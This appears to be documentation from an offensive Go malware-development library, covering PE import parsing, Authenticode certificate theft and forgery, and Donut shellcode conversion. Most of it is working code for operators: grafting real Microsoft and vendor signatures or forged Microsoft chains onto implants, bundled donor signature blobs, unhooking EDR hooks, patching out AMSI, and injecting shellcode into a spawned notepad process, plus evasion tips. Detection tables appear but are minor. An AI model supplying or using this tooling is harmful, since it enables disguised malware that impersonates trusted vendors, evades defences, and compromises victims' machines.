  • Defender ML edge cases. Some EDRs flag the Go + Microsoft-VERSIONINFO combo as anomalous; test against the target stack.
  • Manifest restrictions. Exactly one RT_MANIFEST per PE — cannot stack two preset imports.

See also

Credits

  • tc-hib/winres — pure-Go COFF .rsrc emitter used by the generator.

PE Import Table Analysis

← pe index · docs/index

TL;DR

Walk a PE's IMAGE_DIRECTORY_ENTRY_IMPORT and return every (DLL, Function) pair the binary depends on. Pure Go via debug/pe — no DbgHelp, no LoadLibrary, runs on any host parsing any PE. Used to scope unhooking passes, build dynamic API-resolution payloads, and triage unknown binaries.

Primer

Every Windows EXE or DLL carries a list of the functions it calls from other DLLs — the import table. Reading it tells you exactly which kernel or user-mode APIs the binary relies on without running it. Defenders use this for triage; offensive tooling uses it to scope unhook passes (only restore the Nt* you actually call) and to feed downstream syscall-discovery (extract SSNs from ntdll exports the binary imports).

The package is fully cross-platform — it operates on PE bytes via the standard library's debug/pe parser, so a Linux build host can introspect a Windows implant without round-tripping through Wine or signtool.

How It Works

flowchart LR
    A["PE bytes"] --> B["debug/pe.NewFile"]
    B --> C["ImportedSymbols<br>walks IMAGE_IMPORT_DESCRIPTOR"]
    C --> D{"parse Func then DLL"}
    D --> E["List Import<br>DLL + Function"]
    E --> F["evasion/unhook<br>or wsyscall SSN extract"]
  • Read the PE optional header and locate IMAGE_DIRECTORY_ENTRY_IMPORT.
  • Walk each IMAGE_IMPORT_DESCRIPTOR, following OriginalFirstThunk (or FirstThunk if the original is zero) to resolve each imported function.
  • Handle both by-name and by-ordinal entries.
  • Return a flat []Import slice — callers reshape as needed.

API → godoc

pkg.go.dev/github.com/oioio-space/maldev/pe/imports is the authoritative reference for every exported symbol. This page teaches the concepts; the godoc is the specification.

Examples

Simple — list every import

import (
    "fmt"

    "github.com/oioio-space/maldev/pe/imports"
)

imps, _ := imports.List(`C:\Windows\System32\notepad.exe`)
for _, imp := range imps {
    fmt.Printf("%s!%s\n", imp.DLL, imp.Function)
}

Composed — filter to ntdll, parse from memory

import (
    "bytes"

    "github.com/oioio-space/maldev/pe/imports"
)

ntImps, _ := imports.ListByDLL(`C:\loader.exe`, "ntdll.dll")
inMem, _ := imports.FromReader(bytes.NewReader(decryptedPE))

Advanced — unhook only what we actually call

Layered with evasion/unhook so only the Nt* the loader actually imports get restored — minimal .text write footprint, no unused-function crumbs for an EDR's integrity checker.

import (
    "os"

    "github.com/oioio-space/maldev/evasion"
    "github.com/oioio-space/maldev/evasion/unhook"
    "github.com/oioio-space/maldev/pe/imports"
    wsyscall "github.com/oioio-space/maldev/win/syscall"
)

self, _ := os.Executable()
ntImps, _ := imports.ListByDLL(self, "ntdll.dll")

caller := wsyscall.New(wsyscall.MethodIndirect, wsyscall.NewTartarus())
defer caller.Close()

techs := make([]evasion.Technique, 0, len(ntImps))
for _, i := range ntImps {
    techs = append(techs, unhook.Classic(i.Function))
}
_ = evasion.ApplyAll(techs, caller)

See ExampleList.

OPSEC & Detection

ArtefactWhere defenders look
File-read of a PEEDR file-access telemetry — but read-only access is exceedingly common; not a useful signal
Subsequent unhooking write to ntdll .textSysmon Event 8 (CreateRemoteThread / ImageWrite); ETW Microsoft-Windows-Threat-Intelligence — the consumer of import data, not import parsing itself
YARA on the implant binary's IATStatic rules against unusual ntdll-import sets — large Nt* lists imply a syscall-driven loader

D3FEND counters:

  • D3-SEA — IAT inspection on submitted samples.

Hardening for the operator:

  • Strip unused imports at link time (-trimpath, garble) so the IAT only carries what the loader genuinely needs.
  • Do the import walk against the on-disk PE before any unhooking; parsing is invisible.

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1106Native APIdiscovery primitive — drives runtime resolution and unhook scopingD3-SEA

Limitations

  • By-ordinal imports surface as #<ordinal> strings; resolving ordinals to names requires the target DLL's export table (separate operation).
  • Bound imports are read straight from the descriptor — the cached resolved address is the value at bind time; current IAT may differ.
  • Delay-loaded imports (DELAYIMPORT directory) are not enumerated by this package; use debug/pe directly or wait for first-use resolution.
  • Manifest-redirected DLLs show their declared name, not the redirect target — useful for IOC matching, not for runtime resolution.

See also

PE Certificate Theft

← pe index · docs/index

TL;DR

Take the digital signature blob out of a real, signed program (say, notepad.exe) and paste it into an unsigned implant. The implant now LOOKS signed in any tool that asks "is there a signature?" — Properties dialog, naive AV scripts, basic allowlist checks — even though signtool verify would still reject it (the signature was made for notepad.exe's bytes, not yours).

Three layers ship in this package, each adding more realism:

ToolWhat you getWhat still fails
CopyReal Microsoft (or any donor) signature blob in your PE. Properties dialog reads "Microsoft Corporation".signtool verify says "hash mismatch" — the donor's hash doesn't match your bytes.
ForgeA self-built cert chain (Leaf → optional Intermediate → Root) wrapped in PKCS#7. You control every field.Same hash mismatch + chain root is unknown to Windows.
SignPEReal Authenticode signature over your PE's actual hash, with a forged chain. signtool extracts the chain cleanly.Trust-store walk: Windows doesn't recognize your self-signed root. The only way past this is a leaf cert from a CA Windows trusts (stolen / purchased).

Primer — vocabulary

If you're new to Windows code-signing, three terms recur throughout this page:

WIN_CERTIFICATE — the binary blob (header + PKCS#7 payload) appended at the end of a signed PE. 8-byte header (length / revision / type) + the cryptographic content.

Security directory — entry index 4 in the PE optional-header "data directories". Its VirtualAddress field points at where the WIN_CERTIFICATE lives in the file (unusually, this is a file offset, NOT a virtual address — the only data directory that works this way).

Authenticode hash — a special SHA-256 of the PE that excludes the parts that change when you sign it (the CheckSum field, the security directory entry, and the certificate table itself). This is what the signature actually attests to — it's why moving a signature between two PEs always fails verification: the hash differs.

PKCS#7 SignedData — the cryptographic envelope inside the WIN_CERTIFICATE: list of certificates + signer info + signature. Authenticode adds Microsoft-specific fields on top (SpcIndirectDataContent carrying the Authenticode hash).

How a signature check works

sequenceDiagram
    participant App as "Tool checking the file<br>(SmartScreen, AV, signtool, your script)"
    participant WT as "WinTrust"
    participant PE as "implant.exe"
    participant CA as "Trust store<br>(Windows root CAs)"
    App->>WT: "is this file signed?"
    WT->>PE: read security directory
    alt Empty (no WIN_CERTIFICATE)
        WT-->>App: NOT_SIGNED
        Note over App: A naive script may stop here.
    else Has WIN_CERTIFICATE (cert.Copy / Forge / SignPE)
        WT->>PE: hash the file (Authenticode hash)
        WT->>WT: parse PKCS#7, extract signer + chain
        WT->>WT: verify signature matches (hash, key) pair
        WT->>CA: walk chain to a trusted root
        Note over WT: Each step can fail independently:<br>presence ✓, hash ✗, chain unknown ✗, etc.
        WT-->>App: TRUSTED / UNTRUSTED + reason code
    end

Naive checks (Properties dialog "Publisher" line, scripts that only look at (Get-AuthenticodeSignature).Status -ne $null) stop at the first branch — presence is enough for them. Defenders that matter (signtool verify /pa, SmartScreen, AppLocker with publisher rules, EDR file-write telemetry) walk the full chain.

The package is cross-platform: cert blobs are pure-byte PE manipulation, no Win32 APIs involved. Use it on a Linux build host to prepare implants without round-tripping through signtool.exe.

How It Works

sequenceDiagram
    participant Signed as "Signed PE notepad.exe"
    participant Tool as "pe/cert"
    participant Unsigned as "Unsigned implant"

    Tool->>Signed: Read locate security directory
    Note over Tool: PE Data Directory 4 - VirtualAddress is file offset, unique among directories
    Tool->>Signed: read WIN_CERTIFICATE blob
    Tool->>Unsigned: Write pad to 8-byte alignment
    Tool->>Unsigned: append cert blob
    Tool->>Unsigned: patch security directory entry
    Note over Unsigned: Now carries Authenticode cert - signature fails verify, presence checks pass

The PE security directory (data directory index 4) is unique: its VirtualAddress field is a file offset, not an RVA. WIN_CERTIFICATE structures are appended after the last section, 8-byte aligned. Read parses the directory entry and returns the raw blob; Write truncates / appends + patches.

API → godoc

pkg.go.dev/github.com/oioio-space/maldev/pe/cert is the authoritative reference for every exported symbol. This page teaches the concepts; the godoc is the specification.

Examples

Quick start — your first cert graft (read this one)

You have an unsigned implant.exe and you want it to look signed. The shortest path is to copy a real Authenticode signature from some trusted Windows binary onto your file. Here Microsoft Edge is a good donor (it carries a real Microsoft signature in its PE).

package main

import (
    "fmt"
    "log"

    "github.com/oioio-space/maldev/pe/cert"
)

func main() {
    donor   := `C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe`
    implant := `C:\loader.exe`

    // Step 1: confirm the implant has NO signature today.
    has, err := cert.Has(implant)
    if err != nil { log.Fatal(err) }
    fmt.Println("before — has signature?", has)  // → false

    // Step 2: copy the Edge signature onto the implant.
    //         Internally: read Edge's WIN_CERTIFICATE blob,
    //         append it to implant.exe, patch the security
    //         directory, recompute the optional-header CheckSum.
    if err := cert.Copy(donor, implant); err != nil {
        log.Fatal(err)
    }

    // Step 3: confirm the implant LOOKS signed.
    has, _ = cert.Has(implant)
    fmt.Println("after  — has signature?", has)  // → true

    // Step 4: parse the grafted signature to see who "signed" us.
    parsed, err := cert.Inspect(implant)
    if err != nil { log.Fatal(err) }
    fmt.Println("apparent signer:", parsed.Subject)
    // → CN=Microsoft Corporation, O=Microsoft Corporation, ...
}

What this does NOT achieve:

  • signtool verify /pa C:\loader.exe0x80096010 "hash mismatch". The signature is for Edge's bytes, not yours.
  • SmartScreen / AppLocker with publisher rules will reject it.

What this DOES achieve:

  • File Explorer → Properties → Digital Signatures shows "Microsoft Corporation".
  • PowerShell (Get-AuthenticodeSignature C:\loader.exe).SignerCertificate returns Microsoft's leaf cert (because the cert IS Microsoft's — only the file it's attached to has changed).
  • Naive "is this file signed?" allowlists pass.

This is the Copy path: minimum effort, maximum cosmetic. The two paths below add increasing realism (Forge lets you control the apparent signer; SignPE actually signs your hash).

Simple — copy a Microsoft cert onto an implant (one-liner)

For when you don't need the explanation:

import "github.com/oioio-space/maldev/pe/cert"

if err := cert.Copy(
    `C:\Windows\System32\notepad.exe`,
    `C:\Users\Public\implant.exe`,
); err != nil {
    panic(err)
}

notepad.exe on modern Windows is catalog-signed (no embedded signature) — cert.Copy will return ErrNoCertificate. Use a third-party signed donor instead (Edge, OneDrive, Acrobat, Firefox, VS Code, …). See Catalog signing for why System32 binaries don't carry embedded blobs.

Forge — invent your own cert chain, no donor needed

Copy requires a donor PE you can read. Forge skips that step by generating a cert chain in pure Go: you pick the publisher name, organization, validity dates — anything you'd see in the Properties dialog. The output is wrapped in a SignedData blob and ready to paste into a PE just like a real donor's blob.

Why use this instead of Copy?

  • You control every visible field — useful for impersonating a vendor whose binary you don't have on your build host.
  • No dependency on a donor file existing at runtime.
  • The chain is uniquely yours — no two implants share a fingerprint (each Forge call generates fresh keys + serials).

What you still don't get (same as Copy): the chain is self-signed → no Windows root trusts it → signtool verify rejects. For a chain that signtool parses cleanly (trust-store walk still fails), use SignPE instead.

package main

import (
    "crypto/x509/pkix"
    "fmt"
    "log"

    "github.com/oioio-space/maldev/pe/cert"
)

func main() {
    // Build the chain in memory. Three tiers (leaf → intermediate
    // → self-signed root) look more legitimate than two; matches
    // real-world publisher → CA → root patterns.
    chain, err := cert.Forge(cert.ForgeOptions{
        LeafSubject: pkix.Name{
            CommonName:   "Microsoft Corporation",
            Organization: []string{"Microsoft Corporation"},
            Country:      []string{"US"},
        },
        IntermediateSubject: pkix.Name{
            CommonName: "Microsoft Code Signing PCA 2024",
        },
        RootSubject: pkix.Name{
            CommonName: "Microsoft Root Certificate Authority 2024",
        },
        // ValidFrom / ValidTo default to [now-1y, now+5y] — naive
        // "is the cert still in date" checks pass for 5 years.
    })
    if err != nil { log.Fatal(err) }

    fmt.Println("forged leaf subject:", chain.Leaf.Subject)
    fmt.Println("leaf serial:        ", chain.Leaf.SerialNumber)
    fmt.Println("blob size:          ", len(chain.Certificate.Raw), "bytes")

    // Splice into the implant. cert.Write recomputes the
    // optional-header CheckSum so the file remains internally
    // consistent.
    if err := cert.Write(`C:\loader.exe`, chain.Certificate); err != nil {
        log.Fatal(err)
    }
    // → loader.exe Properties → Publisher: Microsoft Corporation
}

Reusing the chain: chain.Leaf, chain.LeafKey, chain.Root, chain.RootKey are all returned so you can graft the same identity onto multiple PEs without paying the keygen cost twice (RSA-2048 generation takes ~30-100ms).

SignPE — actually sign your PE (real Authenticode)

Forge builds a chain but doesn't actually sign your file — the SignedData wraps an arbitrary Content byte string (or empty by default), not your PE's hash. signtool verify notices this and refuses to even parse the signature ("No signature found").

SignPE closes that gap. It computes your PE's Authenticode hash, wraps it in the Microsoft-canonical SpcIndirectDataContent, hand-rolls a SignedData with all the right ASN.1 fields (eContentType set to the Authenticode OID, signed attributes including messageDigest over your hash, RSA-SHA256 signature from a forged leaf key), and splices the result into the PE.

End result: signtool verify /pa /v loader.exe parses the chain, prints the publisher / validity / fingerprints, and only fails on the very last step — the trust-store walk — because the root is self-signed:

Verifying: C:\loader.exe
Signature Index: 0 (Primary Signature)
Hash of file (sha256): 0E9A...C6DB

Signing Certificate Chain:
    Issued to: Microsoft Root Certificate Authority
    Issued by: Microsoft Root Certificate Authority
    Expires:   Mon May 05 10:01:40 2031
    SHA1 hash: C354...9C29

        Issued to: Microsoft Corporation
        Issued by: Microsoft Root Certificate Authority
        Expires:   Mon May 05 10:01:40 2031
        SHA1 hash: 464E...5DF5

SignTool Error: A certificate chain processed, but terminated in
                a root certificate which is not trusted by the
                trust provider.

That last error (0x800B0109) is the only difference between this output and a fully-trusted Microsoft signature. To close it in pure Go is impossible — you'd need a leaf cert issued by a CA Windows already trusts (stolen from a real signer, or purchased EV).

package main

import (
    "crypto/x509/pkix"
    "fmt"
    "log"

    "github.com/oioio-space/maldev/pe/cert"
)

func main() {
    chain, err := cert.SignPE(`C:\loader.exe`, cert.SignOptions{
        LeafSubject: pkix.Name{
            CommonName:   "Microsoft Corporation",
            Organization: []string{"Microsoft Corporation"},
            Country:      []string{"US"},
        },
        RootSubject: pkix.Name{
            CommonName: "Microsoft Root Certificate Authority",
        },
        // No IntermediateSubject → 2-tier chain (leaf + root).
        // Add IntermediateSubject for the more legitimate-looking
        // 3-tier shape Microsoft actually uses.
    })
    if err != nil { log.Fatal(err) }

    fmt.Println("signed leaf:    ", chain.Leaf.Subject)
    fmt.Println("leaf SHA1:      ", chain.Leaf.Raw[:4], "…") // truncated
    fmt.Println("file CheckSum recomputed automatically by SignPE.")
}

When to choose Copy vs Forge vs SignPE:

  • Copy: you have a donor PE, you want maximum cosmetic with zero crypto. Detection class: any tool that hashes the file rejects you immediately.
  • Forge: no donor available, you want any "publisher" name. Same detection class as Copy plus the chain root is unknown.
  • SignPE: same effort as Forge but signtool verify extracts the chain instead of refusing to parse — the implant looks like it was intentionally signed (just by an unknown CA). Better blend-in for tools that LOG signature details but don't enforce trust strictly.

Composed — external signer pipeline (BYO key)

When the signing key lives in a CSP / HSM / detached service, use AuthenticodeContent to compute just the signing input and let the external signer take it from there.

import "github.com/oioio-space/maldev/pe/cert"

// Phase 1 helper: PE Authentihash + canonical SpcIndirectDataContent
// in one call. Pipe to signtool /sign / osslsigncode / a remote
// signing service.
spc, err := cert.AuthenticodeContent(`C:\loader.exe`)
if err != nil { panic(err) }
_ = spc

Composed — morph + cert + presence check

Layer with pe/morph so the static fingerprint is altered before the cert is grafted on.

import (
    "os"

    "github.com/oioio-space/maldev/pe/cert"
    "github.com/oioio-space/maldev/pe/morph"
)

raw, _ := os.ReadFile(`C:\loader.exe`)
raw, _ = morph.UPXMorph(raw)
_ = os.WriteFile(`C:\loader.exe`, raw, 0o644)

_ = cert.Copy(`C:\Windows\System32\notepad.exe`, `C:\loader.exe`)
ok, _ := cert.Has(`C:\loader.exe`) // true

Advanced — round-trip donor selection

Cache the existing cert, try multiple donors, restore on burn.

import (
    "os"

    "github.com/oioio-space/maldev/pe/cert"
)

target := `C:\loader.exe`
_ = cert.Strip(target, `C:\old.cert`)

candidates := []string{
    `C:\Windows\System32\notepad.exe`,
    `C:\Program Files\Google\Chrome\Application\chrome.exe`,
    `C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe`,
}
for _, donor := range candidates {
    _ = cert.Copy(donor, target)
    // run target through the AV under test, observe verdict, decide
}

// Restore original if every candidate burned.
saved, _ := os.ReadFile(`C:\old.cert`)
_ = cert.Write(target, &cert.Certificate{Raw: saved})

See ExampleRead and ExampleCopy.

Operational — bundled donor cert blobs

10 reference Authenticode blobs ship pre-extracted inside pe/masquerade/donors (snapshot date exposed as donors.SnapshotDate). Graft offline with zero donor on disk:

import (
    "github.com/oioio-space/maldev/pe/cert"
    "github.com/oioio-space/maldev/pe/masquerade/donors"
)

raw, _ := donors.LoadBlob("claude") // also: cert.Write recomputes
_ = cert.Write(`implant.exe`,       // the PE checksum automatically.
    &cert.Certificate{Raw: raw})

Bundled IDs (each <id>.bin in pe/masquerade/donors/blobs/): acrobat, claude, excel, explorer, firefox, msedge, onedrive, svchost, taskmgr, vscode. Enumerate at runtime via donors.AvailableBlobs.

Pick a donor by signer subject — donors.ParseAll

donors.ParseAll returns the parsed Authenticode metadata for every bundled blob, keyed by ID. Useful when the operator wants "any Microsoft signer" rather than committing to a specific donor up-front:

import (
    "strings"

    "github.com/oioio-space/maldev/pe/cert"
    "github.com/oioio-space/maldev/pe/masquerade/donors"
)

for id, p := range donors.ParseAll() {
    if strings.Contains(p.Subject, "Microsoft Corporation") &&
        p.NotAfter.After(time.Now().AddDate(1, 0, 0)) {
        raw, _ := donors.LoadBlob(id)
        cert.Write("implant.exe", &cert.Certificate{Raw: raw})
        break
    }
}

donors.ParseBlob(id) is the single-blob counterpart for the common case.

Unbundled IDs (cmd, notepad, sevenzip, wt) — see "Why some donors don't have bundled blobs" below.

Refresh / extend the bundled set — cmd/cert-snapshot

Authenticode roots rotate (Microsoft 2024, Adobe 2023). When a bundled blob ages out, re-run the extractor against fresh donors and overwrite the bundled files in-place:

go run ./cmd/cert-snapshot -out ./pe/masquerade/donors/blobs
# wrote pe/masquerade/donors/blobs/svchost.bin (10408 bytes) <- C:\WINDOWS\System32\svchost.exe
# wrote pe/masquerade/donors/blobs/msedge.bin  (10056 bytes) <- ...msedge.exe
# wrote pe/masquerade/donors/blobs/claude.bin  (10400 bytes) <- ...claude.exe
# ...

-out defaults to ./ignore/certs (gitignored work directory) when you want a sandbox extraction without touching the bundled set. To extend with new donors, add them to donors.All and re-run.

Why some donors don't have bundled blobs

cmd, notepad and most System32 binaries on Win10/11 ship without an embedded WIN_CERTIFICATE. Their signature lives in the system security catalog (C:\Windows\System32\CatRoot\*.cat) — signtool verify resolves it via the catalog at runtime, so pe/cert.Read correctly returns ErrNoCertificate from the PE itself. cert-snapshot's SKIP is faithful, not a bug. Cloning a catalog-signed identity needs a different attack (catalog poisoning / catalog hash forge) — out of scope for pe/cert. sevenzip ships unsigned; wt lives under the WindowsApps DACL and can't be opened.

Caveats — bundled blobs are not cryptographically valid

Same as direct cert.Copy: the grafted signature does NOT verify under signtool verify /pa because the implant's Authenticode hash differs from the donor's. Useful only for the cosmetic + naive-static-scanner cases described in OPSEC below.

OPSEC & Detection

ArtefactWhere defenders look
signtool verify /pa <implant.exe> failureAny defender that actually validates signatures sees a chain failure
Modified file size + 8-byte alignment paddingEDR file-write telemetry; unusual delta-from-known-good if the signed donor was hashed earlier
Cert subject / issuer mismatched against the implant's metadata (CompanyName, OriginalFilename)Mature allowlists cross-check signer identity vs VERSIONINFO
Naive Get-AuthenticodeSignature checking only .Status -eq 'Valid'False-negative on the modified cert; common in homebrew scripts

D3FEND counters:

  • D3-EAL — strict allowlisting validates the chain.
  • D3-SEA — cert-blob inspection on submission.

Hardening for the operator:

  • Pair with pe/masquerade so the VERSIONINFO / manifest matches the donor cert's identity.
  • Use a donor whose subject matches the implant's apparent purpose (PowerShell signer for a pwsh.exe lookalike, etc.).
  • Recompute the PE checksum if downstream tooling validates it.
  • Don't deploy where signature chain validation is enforced (Defender ATP, SmartScreen, AppLocker with publisher rules).

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1553.002Subvert Trust Controls: Code Signingfull — clone a third-party signature blobD3-EAL, D3-SEA

Limitations

  • Signature won't verify. Cryptographic chain validation (signtool verify, SmartScreen, AppLocker publisher rules) catches the substitution.
  • Checksum recomputation handled internally. Strip and Write both call PatchPECheckSum after the splice — the optional-header CheckSum is rebuilt with the MS ImageHlp!CheckSumMappedFile algorithm so downstream verifiers that check it (rare in user-mode, mandatory for kernel drivers) see a self-consistent value. Independent callers can invoke PatchPECheckSum(data) directly after their own splices.
  • Bundled cert blobs age. pe/masquerade/donors/blobs/<id>.bin ships a snapshot taken on donors.SnapshotDate. Authenticode roots rotate (Microsoft renewed in 2024, Adobe in 2023) — once a bundled cert's NotAfter passes or its issuer is retired, file-properties UI may hint "expired publisher". Refresh via cmd/cert-snapshot -out ./pe/masquerade/donors/blobs and commit. The blobs themselves ARE published research artefacts and may be fingerprinted by threat-intel crawlers indexing the repo — accepted trade-off for the offline-graft convenience.
  • Forge chain fails trust-store validation. Forge builds a 2- or 3-tier self-signed chain wrapped in PKCS#7 SignedData with eContentType = OIDData. SignPE upgrades that to a real Authenticode-shaped SignedData (eContentType = OIDSpcIndirectDataContent, canonical SpcPEImageData, signed attributes, leaf-key signature) — signtool verify /v now extracts the chain and reports 0x800B0109 "untrusted root" rather than the previous "no signature found". The remaining gap is purely the trust-store walk: a self-signed root cannot be made trusted in pure Go. Closing this gap requires a leaf cert issued by a CA Windows trusts (stolen / purchased EV) — out of scope for any pure-Go library. Two further historical gaps from the old Forge are now closed:
    1. The signed content is not a real SpcIndirectDataContent over the PE hash. Phase 1 of the fix shipped at v0.43.0: BuildSpcIndirectDataContent(digest, hashAlg) produces the canonical ASN.1 blob; pair with pe/parse.File.Authentihash for the digest. Phase 2 (not yet shipped): a ForgeForPE(pePath, opts) entry point that hand-rolls the outer SignedData with ContentInfo.contentType = OIDSpcIndirectDataContentsecDre4mer/pkcs7 doesn't expose an OID-override surface, so this needs a sibling ASN.1 marshaller.
    2. The leaf key + chain are self-signed. Real validity needs a CA-trusted leaf key (stolen private key, purchased EV cert) — entirely out of scope; no library substitute.
  • Validity-window mismatch. Donor certs have NotBefore / NotAfter; an implant deployed outside that window flags as expired even before the chain is checked.

See also

PE-to-Shellcode (Donut)

← pe index · docs/index

TL;DR

You have a .exe / .dll / .NET assembly / script. You want to inject it into a remote process — but Windows expects executables to live on disk, not as a byte buffer in memory. Donut solves this by wrapping your payload in a tiny position-independent loader stub that boots the payload from a flat byte buffer.

Output is always one byte slice. Pick the right entry point based on what you have:

You have…UseRequired Config fieldsNotes
.exe on diskConvertFilenone (auto-detected)Easiest path. Type defaults to ModuleEXE.
.exe in memory (decrypted in-process)ConvertBytesType = ModuleEXENo disk artefacts — payload never lands.
.dll on diskConvertDLLMethod = "ExportName"Donut calls this export instead of an entry point.
.dll in memoryConvertDLLBytesType = ModuleDLL, MethodSame as above, in-memory.
.NET EXEConvertFileType = ModuleNetEXEDonut hosts the CLR in-process — no .NET install on disk needed.
.NET DLLConvertFileType = ModuleNetDLL, Class, MethodDonut calls Class.Method() after loading.
VBS / JS / XSLConvertFileType = ModuleVBS/ModuleJS/ModuleXSLBuilt-in mshta-equivalent runs the script.

Final output goes into any inject/ primitive — CreateRemoteThread, APC, ThreadHijack, etc.

Primer — vocabulary

Three terms that recur on this page:

Position-Independent Code (PIC) — code that runs correctly regardless of where it lands in memory. A normal .exe has hardcoded addresses ("call function at virtual address 0x1000") that only work when loaded at a specific base. PIC uses relative offsets ("call function 0x100 bytes ahead") so it works at any address. Donut's loader stub IS PIC; the payload wrapped inside doesn't need to be (the stub fixes it up at load time).

Reflective loader — code that performs the work normally done by Windows's PE loader (parse headers, allocate memory, apply relocations, resolve imports, call entry point) but from inside the target process, on a payload that was never on disk. Donut's stub is a textbook reflective loader.

AMSI / WLDP — Anti-Malware Scan Interface and Windows Lockdown Policy. Both are user-mode hooks Microsoft inserts into script hosts (PowerShell, JScript, VBScript) and the .NET runtime to scan strings + assemblies before execution. Donut can patch them out in-process before loading the payload (Bypass field).

How It Works

The flow has two halves: build-host conversion (left), runtime execution after injection (right):

How It Works

sequenceDiagram
    participant Caller
    participant Donut as "srdi (go-donut)"
    participant Stub as "Loader stub<br>(in-memory)"
    participant Payload as "PE / .NET / Script"

    Caller->>Donut: ConvertFile(path, cfg)
    Donut->>Donut: Parse + classify input
    Donut->>Donut: Compress payload bytes
    Donut->>Donut: Embed AMSI / WLDP bypass
    Donut->>Donut: Attach PIC loader stub
    Donut-->>Caller: shellcode []byte

    Note over Caller,Stub: After injection into target process
    Stub->>Stub: PIC bootstrap (locate self)
    Stub->>Stub: AMSI / WLDP patch (configurable)
    Stub->>Stub: Decompress payload
    Stub->>Payload: Map sections + relocate + resolve imports
    Payload->>Payload: Call entry point

Generated shellcode layout:

[ PIC Donut loader stub ]   ← position-independent x64 / x86 / x84
[ embedded config block ]   ← Arch, Bypass, Method, Class, Params
[ compressed payload ]      ← original PE / .NET / script bytes

Input format matrix

FormatType constantClass requiredMethod required
Native EXEModuleEXE
Native DLLModuleDLLexport name
.NET EXEModuleNetEXE
.NET DLLModuleNetDLLyesyes
VBScriptModuleVBS
JScriptModuleJS
XSLModuleXSL

API → godoc

pkg.go.dev/github.com/oioio-space/maldev/pe/srdi is the authoritative reference for every exported symbol. This page teaches the concepts; the godoc is the specification.

Examples

Quick start — your first shellcode (read this one)

You have a Go-built payload.exe and you want to inject it into another process. The shortest end-to-end path is two function calls: srdi.ConvertFile to wrap your EXE in a Donut stub, then any inject.* primitive to run the resulting bytes inside a target process.

package main

import (
    "fmt"
    "log"

    "github.com/oioio-space/maldev/inject"
    "github.com/oioio-space/maldev/pe/srdi"
)

func main() {
    // Step 1: wrap the EXE. DefaultConfig assumes ModuleEXE +
    //         x64 + AMSI bypass-on-fail. ConvertFile auto-detects
    //         from the file extension when cfg.Type is zero.
    sc, err := srdi.ConvertFile("payload.exe", srdi.DefaultConfig())
    if err != nil { log.Fatal(err) }

    fmt.Printf("payload.exe → %d bytes of shellcode (Donut stub + payload)\n", len(sc))
    // → payload.exe (148 KB) → 154112 bytes of shellcode

    // Step 2: pick an injection method + target. Spawn notepad to
    //         have a clean target PID.
    icfg := inject.DefaultWindowsConfig(inject.MethodCreateRemoteThread, 0)
    icfg.SpawnSacrificial = "notepad.exe"  // injector spawns + uses its PID

    inj, err := inject.NewWindowsInjector(icfg)
    if err != nil { log.Fatal(err) }
    if err := inj.Inject(sc); err != nil { log.Fatal(err) }

    fmt.Println("payload running inside the spawned notepad.exe")
}

What just happened:

  1. srdi.ConvertFile parsed payload.exe, compressed it, and prepended Donut's PIC loader stub. The result is a flat byte buffer that runs the payload regardless of where it's mapped in memory.
  2. inject.NewWindowsInjector allocated executable memory in the target, wrote the shellcode there, and kicked execution via CreateRemoteThread.
  3. The Donut stub bootstrapped your EXE in the target process — parsed its PE headers, applied relocations, resolved imports, called its entry point.

What still trips defenders: Donut's loader stub has a known byte pattern (Defender, MDE, CrowdStrike all carry signatures). See OPSEC for hardening (crypto encryption, sleep masking, sleep+RX flip).

Simple — convert a native EXE (one-liner)

For when you don't need the explanation:

import "github.com/oioio-space/maldev/pe/srdi"

shellcode, _ := srdi.ConvertFile("payload.exe", srdi.DefaultConfig())

DLL with named export

DLLs differ from EXEs in one critical way: they don't have a single entry point, they expose a table of exports the loader can call. Donut needs to know which export to invoke after loading.

import "github.com/oioio-space/maldev/pe/srdi"

cfg := srdi.DefaultConfig()
cfg.Type   = srdi.ModuleDLL
cfg.Method = "ReflectiveLoader"  // export name, must exist in the DLL

shellcode, err := srdi.ConvertDLL("payload.dll", cfg)
if err != nil { /* dll missing export, malformed, etc. */ }

If the export takes parameters, set cfg.Parameters to a space-separated string ("arg1 arg2 'arg with spaces'"). Donut parses this argv-style and pushes the values onto the stack before calling.

.NET DLL + class.method invocation

.NET DLLs are even more structured: every callable lives in a specific class. Donut hosts the CLR in-process and invokes exactly one Class.Method() after loading the assembly.

import "github.com/oioio-space/maldev/pe/srdi"

cfg := &srdi.Config{
    Type:   srdi.ModuleNetDLL,
    Class:  "Loader.Stub",  // namespace.Type, case-sensitive
    Method: "Run",          // method name on Class, case-sensitive
    Bypass: 3,              // continue if AMSI patch fails
}
sc, _ := srdi.ConvertFile("loader.dll", cfg)

Bypass values:

  • 1 — Skip: don't even try to patch AMSI. Use when you know AMSI isn't watching (older Windows, Defender disabled).
  • 2 — Abort on fail: patch and refuse to load if patching fails. Use when stealth matters more than execution (an unpatched AMSI WILL log your assembly).
  • 3 — Continue on fail: patch and load anyway if patching fails. Default in DefaultConfig. Pragmatic for ops where failure to patch usually means "AMSI isn't there to log us anyway".

Advanced — dual-mode shellcode + indirect syscalls + remote target

Combines several knobs: dual-arch output (runs on both x86 and x64 hosts so you don't need to know the target architecture ahead of time), indirect-syscall injection (each NTAPI call resolves its SSN at runtime instead of using the linked stub), specific target PID instead of spawning.

import (
    "github.com/oioio-space/maldev/inject"
    "github.com/oioio-space/maldev/pe/srdi"
    wsyscall "github.com/oioio-space/maldev/win/syscall"
)

cfg := &srdi.Config{
    Arch:   srdi.ArchX84,         // dual x86 + x64
    Type:   srdi.ModuleNetDLL,
    Class:  "Loader.Stub",
    Method: "Run",
    Bypass: 3,
}
sc, _ := srdi.ConvertFile("loader.dll", cfg)

icfg := inject.DefaultWindowsConfig(inject.MethodCreateRemoteThread, targetPID)
icfg.SyscallMethod = wsyscall.MethodIndirect  // bypass userland hooks

inj, _ := inject.NewWindowsInjector(icfg)
_ = inj.Inject(sc)

Trade-off of ArchX84: doubles the loader stub size (both x86 and x64 versions present), so YARA-style scanners get two signature surfaces to match instead of one. Pick ArchX64 (or ArchX32) when target architecture is known.

See ExampleConvertFile

When to choose ConvertFile vs ConvertBytes vs ConvertDLL

You're staging from…FunctionWhy
A .exe you wrote to diskConvertFileAuto-detects Type from extension. Simplest.
A payload your build pipeline decrypted in memoryConvertBytesAvoids ever writing the cleartext payload to disk — important when EDR file-write telemetry is the threat.
